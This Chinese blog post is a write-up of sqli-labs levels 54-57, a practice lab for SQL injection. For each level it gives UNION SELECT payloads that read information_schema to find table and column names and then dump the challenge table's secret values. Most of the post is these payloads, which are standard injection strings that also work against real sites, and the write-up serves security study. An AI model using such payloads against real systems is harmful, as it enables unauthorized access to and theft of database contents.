美文网首页
sqli-labs Less-54-57

sqli-labs Less-54-57

作者: jun123123 | 来源:发表于2019-10-24 12:25 被阅读0次

a- Less-54
page4的第一关,要求在10次请求内获取信息,否则会刷新表名。
首先判断下注入类型,单字符注入,查询列数,3列(这些与表名无关的内容与表名是否刷新无关,所以不需要关心是否10次刷新)
构造查询数据库名的payload:

?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata%23
1.png

根据页面内容猜测challengs是要注入的库
构造查询表名的payload:

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23

注:因为表名开始就是每10次请求刷新一次,这里我们已经访问7次了,剩下3次可能不够获取后面信息(其实够了),所以一直刷新到10次让计数器重置再进行后续注入。

2.png
查询到表名(我这里显示次数2是因为第一次把information拼错了)
构造查询列名的payload:
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'T1EEQX3Y1C'%23
3.png

查询到列名(显示4是因为把schema拼错了(笑)
构造payload:

?id=0' union select 1,2,group_concat(concat(id,'$',sessid,'$',secret_4TDN,'$',tryy)) from challenges.T1EEQX3Y1C%23
4.png

注入成功(这次没拼错了,实际上第一次写了俩问号,但是由于后端没有正确接受id参数所以计数器未+1)
这一关基本就是对Less-1内容的复习吧

  • Less-55
    先通过?id=1)%23测试出数值型注入,一个括号
    构造payload:
?id=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
5.png

获取表名
构造payload:

?id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='4VAHHHM3I5'%23
6.png

获取列名
构造payload:

?id=0) union select 1,2,group_concat(concat(id,'$',sessid,'$',secret_15XX,'$',tryy)) from challenges.4VAHHHM3I5%23
7.png

注入成功

  • Less-56
    先判断出单引号一个括号
    再构造payload:
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
8.png
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='RW2CKPWESH'%23
9.png
?id=0') union select 1,2,group_concat(concat(id,'$',sessid,'$',secret_HX83,'$',tryy)) from challenges.RW2CKPWESH%23
10.png

注入成功

  • Less-57
    双字符注入
    构造payload:
?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
11.png

(这里次数7是因为第一次截的图上传不了所以重新截了一张)
构造payload:

?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='SGOZDJQYG0'%23
12.png

构造payload:

?id=0" union select 1,2,group_concat(concat(id,'$',sessid,'$',secret_QUP8,'$',tryy)) from challenges.SGOZDJQYG0%23 
13.png

注入成功

相关文章

网友评论

      本文标题:sqli-labs Less-54-57

      本文链接:https://www.haomeiwen.com/subject/vqmrvctx.html